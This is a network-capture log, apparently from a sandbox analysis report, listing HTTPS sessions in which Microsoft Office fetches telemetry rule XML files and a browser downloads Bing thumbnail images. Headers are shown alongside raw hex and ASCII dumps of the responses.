2024-11-26 00:41:17 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:17 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004117Z-174f7845968xlwnmhC1EWR0sv80000000ud00000000061k9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:17 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:17 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:17 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:17 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 0b3277ea-501e-00a0-5e91-3f9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004117Z-174f7845968ljs8phC1EWRe6en0000000uhg00000000688g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 00:41:17 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:17 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004117Z-174f7845968swgbqhC1EWRmnb40000000uw0000000005gxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:17 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:17 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:17 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:17 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004117Z-174f7845968glpgnhC1EWR7uec0000000urg000000006qr5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:17 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:17 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 00:41:17 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:17 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 6eac4bdd-a01e-006f-1c91-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T004117Z-174f7845968g6hv8hC1EWR1v2n00000002qg000000002vqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 00:41:17 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49730	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:19 UTC	346	OUT	GET /th?id=OADD2.10239400770824_1KWY1ODV8FNLB48KP&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 00:41:19 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 429316 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0F28DABBC5E24282A9AF5138AA4B62CD Ref B: EWR30EDGE0407 Ref C: 2024-11-26T00:41:19Z Date: Tue, 26 Nov 2024 00:41:18 GMT Connection: close
2024-11-26 00:41:19 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 30 39 3a 31 31 20 30 39 3a 30 34 3a 33 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1 r2i``Adobe Photoshop 25.11 (Windows)2024:09:11 09:04:348C
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: d3 9a 95 71 d4 52 95 fe 74 0e 44 61 33 d4 51 b3 b7 a5 49 ef 48 df ce 80 56 19 8c 53 80 a7 63 3c 51 9c 71 40 74 18 46 39 ec 69 bb 7d 2a 5f e1 a4 c8 e9 40 68 45 b4 f3 db 3d 69 b8 fc 6a 66 3e bd 28 fe 1a 77 11 0e 3d 7f 2a 36 8e a2 a4 61 9c 53 58 7c de d8 a7 70 18 31 d0 74 a6 b0 27 af e1 52 05 27 9e d4 70 29 dc 08 f6 e7 b6 29 bb 2a 4c 0d dc 0e 69 71 ed 4f 52 79 48 4c 59 eb 4a 53 b5 4b 8e c2 90 2d 1c c0 92 b9 11 41 d7 14 05 ce 2a 52 bf 8f b5 18 f9 69 dc 06 34 74 9b 07 6a 78 07 a1 6a 19 48 ef 45 c0 8f cb 1c 53 8c 63 6f 4a 72 fa 51 83 45 c1 21 81 71 d6 8e ab 8f 4a 79 5c d3 48 f5 e4 d3 b8 08 c3 14 8d 91 da 9d 8f 5a 02 12 b9 a0 10 80 77 a5 c7 cb ed 46 d3 cd 1b 49 eb 46 80 00 76 e2 8f 2f 9f ad 38 29 ed d6 95 33 d2 90 11 f9 40 29 dc 38 a5 d8 39 02 a4 a0 0c d2 e6 61 Data Ascii: qRtDa3QIHVSc<Qq@tF9i}_@hE=ijf>(w=6aSX\|p1t'R'p))LiqORyHLYJSK-ARi4tjxjHEScoJrQE!qJy\HZwFIFv/8)3@)89a
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 3f 4a 5a 95 cb 12 13 0f e9 da 99 e4 fc dc 1f c2 ac 8a 14 63 93 55 cc c9 74 e2 57 f2 71 93 4d 2b 85 22 ae 6c 1c 71 f5 a7 18 b2 b9 14 bd a0 7b 3d 0c f6 51 d0 f1 de 80 a3 70 23 a0 ab 8d 11 f4 a8 cc 47 d3 15 4a a1 3e cd a2 30 8b b7 3e b4 a2 35 db c0 a9 1a 07 2a 30 39 a4 11 48 39 c1 34 af e6 57 2b ec 46 d1 8e dd 69 15 76 b6 4f 6c 54 b8 61 d4 1a 14 13 c9 1c 50 9b 27 94 4e 03 66 9c b2 a0 5e bc d2 63 39 e2 ab cc b8 62 46 71 ef 42 57 07 27 1d 4b 66 6c a1 05 b8 35 14 a0 32 e7 3f 8d 57 c8 db f4 34 65 b6 8c 3d 52 a7 6d 89 75 af b8 8f 6e 0b 12 2a 06 80 9e 83 26 ad 03 f2 f2 72 69 33 f3 1c 56 91 93 46 72 49 94 c5 b9 3d 7f 4a 46 88 8f 7e 6a d4 87 04 60 52 61 9b 20 e0 7d 6a f9 d9 97 2a 28 b4 6d d7 9c 52 05 60 bf 76 ad 48 ad bb 93 8e 2a 3f 2d b8 ad 39 8c b9 08 be 61 fc 26 Data Ascii: ?JZcUtWqM+"lq{=Qp#GJ>0>509H94W+FivOlTaP'Nf^c9bFqBW'Kfl52?W4e=Rmun&ri3VFrI=JF~j`Ra }j(mR`vH?-9a&
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: df 23 81 99 0f cc 71 ea 07 4e 95 14 71 31 9a e5 7b a3 0c 66 02 54 57 32 d5 0d b1 d4 6e 6c 75 8b 59 2d a5 36 f3 40 c5 a2 99 49 dc 19 4f 04 57 5b a7 fc 51 f1 95 b6 9a ba 69 d6 59 84 11 bc 48 cc 32 c0 31 c9 24 f5 27 de b8 3b f1 29 85 a4 07 0a 14 fc c0 f4 61 ff 00 d7 a9 6d 5d a5 99 b6 f2 c1 b6 9f ae d1 cd 76 d3 a8 e3 1b a6 79 72 a2 9f 43 e8 4d 3b e3 ee 98 2e a0 8a eb 4a b9 36 fe 54 49 2c 83 1b 83 01 86 6c 0e a0 9e 6b b5 d0 be 26 78 33 59 d6 8e 9d 61 a8 33 84 81 a5 7b 87 5d b1 80 00 ca e4 f7 e7 b7 a5 7c 96 e9 3d bc 6a 10 12 ec 37 60 e3 07 bf 6e 78 35 2d ac ac f0 a1 04 44 db 86 ec f0 49 cf 3f 9d 6a b1 1d 5a 32 f6 2d 3b 26 7d b6 30 d1 87 52 19 1d 43 2b 0e 84 1e 94 11 f2 d7 cc 9e 1a f8 95 e2 df 0f a3 44 9a db 4f 6e 64 57 f2 ae 14 37 23 b2 9e a0 11 c6 05 7a 06 9b Data Ascii: #qNq1{fTW2nluY-6@IOW[QiYH21$';)am]vyrCM;.J6TI,lk&x3Ya3{]\|=j7`nx5-DI?jZ2-;&}0RC+DOndW7#z
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 63 76 10 48 30 63 24 ff 00 ac 56 e8 54 7a 1a d4 b0 82 c2 f6 ce 4b a9 e4 da a6 02 ae 43 61 81 53 d0 01 e8 7b 57 2d 49 28 d9 ee 0a 9c 9b 32 b4 d5 28 eb 18 90 ba b6 70 0e 3e 53 8f 5e b4 e5 32 cb 94 74 51 22 72 18 63 04 7a fa d5 a8 45 b2 5a c9 6e 0c 72 b2 86 60 f1 8f 98 13 83 c8 ce 47 15 9f a6 df 43 73 e6 bd b0 97 21 4f ef 18 02 3f 3a d1 5d dd d8 97 1e c5 9b 78 e0 78 47 95 2e 77 c8 17 7b 1e 4f a6 3e 86 a3 8d 94 4d 12 cf b4 33 e4 15 cf 19 1c 67 df 35 12 ac 89 6a 54 79 b2 30 21 d4 88 c0 05 ba f6 f7 a4 85 52 6b a1 29 4d 92 c7 86 52 c7 1b 58 9f 43 56 b6 26 d6 64 f1 b4 72 d9 bc 46 6f 26 44 90 94 de a4 06 3d 80 23 a5 4e ad 10 0b 2b e5 44 99 56 65 ea ad 8c 73 ea 2a a9 95 a2 99 9b 82 a4 fc d9 1d 73 e9 46 95 28 8f 36 2f 24 72 16 25 95 5f e5 38 1d c1 ef 52 e3 a6 85 ec Data Ascii: cvH0c$VTzKCaS{W-I(2(p>S^2tQ"rczEZnr`GCs!O?:]xxG.w{O>M3g5jTy0!Rk)MRXCV&drFo&D=#N+DVes*sF(6/$r%_8R
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: 3c 48 87 6a 64 f5 5c 64 e6 9b 1c 6a 53 63 38 0a 00 0f ea 49 eb 83 56 9a d8 69 37 08 6d e5 cc 92 ae e5 23 80 07 4e fd 7b d0 e4 de 9d 42 16 bd fa 15 e6 89 61 52 56 42 cc 38 27 d5 bf fd 54 96 73 7d 9a 19 de 11 fb f2 e0 1c 63 bf 4f ca ad c3 e5 34 72 1b 8d a5 83 9d 83 6e 47 3f ce aa b8 86 3b 83 12 20 23 ab 39 3d 4f a6 07 4a 85 7d 98 4a a2 4f 42 1b 89 19 e6 66 60 4b 48 70 e4 9e 72 7a d3 e3 97 c9 f2 8a 61 82 b7 3b 8f 52 3d 69 6d d2 09 14 6c 0e c7 71 04 1e 33 9e ff 00 d2 9b 3c 2c 92 48 15 f7 b6 72 07 4c 7b 55 e9 7b 19 b9 df 42 85 b9 94 cb 71 83 88 f7 16 19 3c 00 39 e2 ac ac 73 36 9e 33 71 b2 30 fb d0 ed fb c0 ff 00 0f d7 8a 91 01 32 00 e8 ca 4f 04 66 9b 6c e6 7d 62 da 09 d1 8a 19 36 8c 1f 97 9e a3 1e b5 a4 ae fe 41 1b 96 2d ef e4 9e 48 8f ca b2 79 a8 a4 af a0 39 Data Ascii: <Hjd\djSc8IVi7m#N{BaRVB8'Ts}cO4rnG?; #9=OJ}JOBf`KHprza;R=imlq3<,HrL{U{Bq<9s63q02Ofl}b6A-Hy9
2024-11-26 00:41:19 UTC	16384	IN	Data Raw: d6 e3 b1 00 d9 6b 0a 79 f3 89 e6 f3 37 14 8f ee 82 78 1d 3a 54 5a 95 d0 f2 e7 98 09 51 f7 2a b0 6e 5b 19 e4 03 46 e7 b6 b5 9a 38 51 ae 96 36 0c e4 28 2e 79 e7 07 da a0 d4 27 96 f6 c1 25 8a 23 fb de 24 21 48 23 9c 7c d5 d1 18 dd ea 16 d2 e3 6e 6e f7 31 70 01 65 eb 86 c8 c0 ed f5 aa ef 22 ca 23 de 7c b1 2b 11 cf 5d bd 79 cd 43 63 6e 2d e1 96 de 72 01 72 54 12 73 93 da a2 bb 8e e8 5b c6 62 78 9c ab 80 49 07 3f 42 0f 4a e8 8c 52 21 da de 65 dd 25 f7 5a c9 6d 23 1f dc c9 80 e0 0e 41 f6 aa f7 d6 fe 52 3c 4c 4b 24 ac 08 55 03 3c 9c 1f d6 9b 17 9b 6b 79 3a 1c 21 95 03 2a af 3f 30 e3 8c f6 ab 97 d0 4e 63 8a f9 f0 8b e6 08 90 8f e2 62 32 70 3d 80 a9 bf 2b 4e e6 91 8b 65 2b 2b 63 bb ca 96 00 56 37 39 67 c0 2a 47 d7 bd 4b 62 2d 6d 2e a7 9d 2e 30 ce 03 33 a8 ce 30 73 Data Ascii: ky7x:TZQn[F8Q6(.y'%#$!H#\|nn1pe"#\|+]yCcn-rrTs[bxI?BJR!e%Zm#AR<LK$U<ky:!?0Ncb2p=+Ne++cV79g*GKb-m..030s
2024-11-26 00:41:20 UTC	16065	IN	Data Raw: f4 15 7b c2 53 a8 b0 11 38 91 a0 31 86 f9 b0 72 71 9c 8e 6a ea c5 4e 8a 25 37 7b 9d 96 9a eb 65 79 2c d6 d2 0c 5c 82 ab bc 0d 99 eb 8c 0e 73 50 2d dd dc ff 00 69 b9 0f 1c 52 cb 95 26 22 72 30 71 c0 3d 3e 95 95 a5 4e ef 60 93 3f de 56 2c a5 ba 8c 1c 73 56 2d 67 90 ea 49 3a c9 be 29 f9 91 4f 4c fb 11 eb 5c 7e c5 26 d9 a2 ad 21 96 d6 f7 d2 d8 16 32 02 37 7c e7 38 7c e7 a1 c7 04 1a ee 7c 3b a0 5e 58 c3 1c 9a 8c 71 bd ac 80 31 65 93 26 26 3c 0f 62 79 c5 71 1a 5c de 57 da 32 09 85 24 27 69 5c ee 19 e0 0f c6 ba 7f 86 fe 24 8e e7 50 bd b5 ba 58 dd 27 c8 84 7d d5 89 8f 71 d8 7f 8d 61 89 8c f9 5b 8a d0 ed c2 ce 1e d1 29 6e c3 e2 77 86 f4 bd 1f 45 83 55 d1 ae 0c f2 24 ec 66 47 90 64 2e 32 48 18 f5 ae 07 43 76 9a de e2 75 43 b5 80 24 29 e9 93 e9 ef 5e 95 75 a2 dd 5b Data Ascii: {S81rqjN%7{ey,\sP-iR&"r0q=>N`?V,sV-gI:)OL\~&!27\|8\|\|;^Xq1e&&<byq\W2$'i\$PX'}qa[)nwEU$fGd.2HCvuC$)^u[
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 78 23 ae 4e 7d 6b 5f c3 17 d3 0d 1d 62 8e 08 c1 b6 6d a5 40 e4 e4 f2 0f 7a ca 8d d4 dc 45 26 c9 16 45 9c 33 ef 04 10 a0 f4 e6 93 47 32 d8 ea 17 28 ee c3 74 a7 1f 2f 1b 4f 39 07 bd 4c 92 95 35 1e c5 ab 23 16 34 78 3c 4d 78 6e 09 b6 49 65 62 ad 27 24 73 d3 1d eb 5f c1 f7 f2 45 73 24 09 e5 ca 4c 80 17 9d 88 5c 13 d8 55 ad 6e ce 49 ec ed ee d2 35 b9 91 24 21 98 91 bb 69 19 c1 f6 aa 3e 1d b3 7b 2d 6a 55 9c 79 8b 2e 19 08 1c 0c 8c f1 f4 ad 65 28 ce 0f b8 ae 9e a6 ce 86 3e c9 7d ab 40 79 05 89 8e 44 1f 29 ce 48 35 0e b7 24 a7 45 de 30 cf 18 da c4 fa 76 fd 6a e5 b9 57 d3 e2 9b 7f 94 d1 cb 89 63 19 c3 a9 3c 02 7d 6a 97 8b ca c5 a4 cf 05 98 dc c7 96 0d d8 66 b9 94 93 a8 bb 94 51 d4 42 26 87 6b 73 b3 2e 93 29 93 b9 00 83 c8 1e 99 ab 3e 26 93 ed ba 25 94 d0 95 63 09 Data Ascii: x#N}k_bm@zE&E3G2(t/O9L5#4x<MxnIeb'$s_Es$L\UnI5$!i>{-jUy.e(>}@yD)H5$E0vjWc<}jfQB&ks.)>&%c
2024-11-26 00:41:20 UTC	16384	IN	Data Raw: 9f a3 cb 6f 35 dc 49 1c a4 12 43 06 7e 30 7b 0e 6a 55 02 39 04 e5 09 88 39 0c 3b 02 7a 55 3d 3e c9 ed bc 44 22 03 cc b5 95 73 0f 39 61 c6 76 9f a5 6d 7e 68 b4 c8 69 58 5d 42 da 3b 49 26 48 d8 b1 59 0b fa 1e bd 7e 9c d2 c8 8f 05 e1 b6 b9 e7 ce 05 94 01 c1 50 3d 6a ca 19 5b cd dc 9b 5d 58 ab 03 f7 b1 f8 f6 ab 1a e3 a1 b7 d3 cb 89 3c c2 a6 31 28 c1 c6 79 0a 6a 55 47 74 99 17 66 6e 83 a8 3c 76 37 10 94 cc 61 c8 c6 39 5c 1e bd 3d 29 fa bb 17 51 6d 13 49 b9 d7 77 00 63 83 eb ee 2a 2d 22 39 23 ba 91 89 00 ba 12 e0 f1 bb 27 04 fa 66 b6 3c 2b 21 9e e5 a0 91 54 04 52 81 c0 dc 40 fe e9 fa fa d5 55 9a 83 73 48 7b bb 18 e9 74 91 43 12 bc 8b 99 07 1f 9e 2a d2 49 1d e2 f9 81 54 41 e6 7c d8 e8 c5 46 0e 71 de a4 8e 2d 2a 09 3c e9 86 76 bf 94 10 7f 09 ec 73 ee 69 96 f6 c9 Data Ascii: o5IC~0{jU99;zU=>D"s9avm~hiX]B;I&HY~P=j[]X<1(yjUGtfn<v7a9\=)QmIwc-"9#'f<+!TR@UsH{tCITA\|Fq-*<vsi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49728	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 00:41:19 UTC	375	OUT	GET /th?id=OADD2.10239389015249_1YG5WL97CZWWEQABD&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
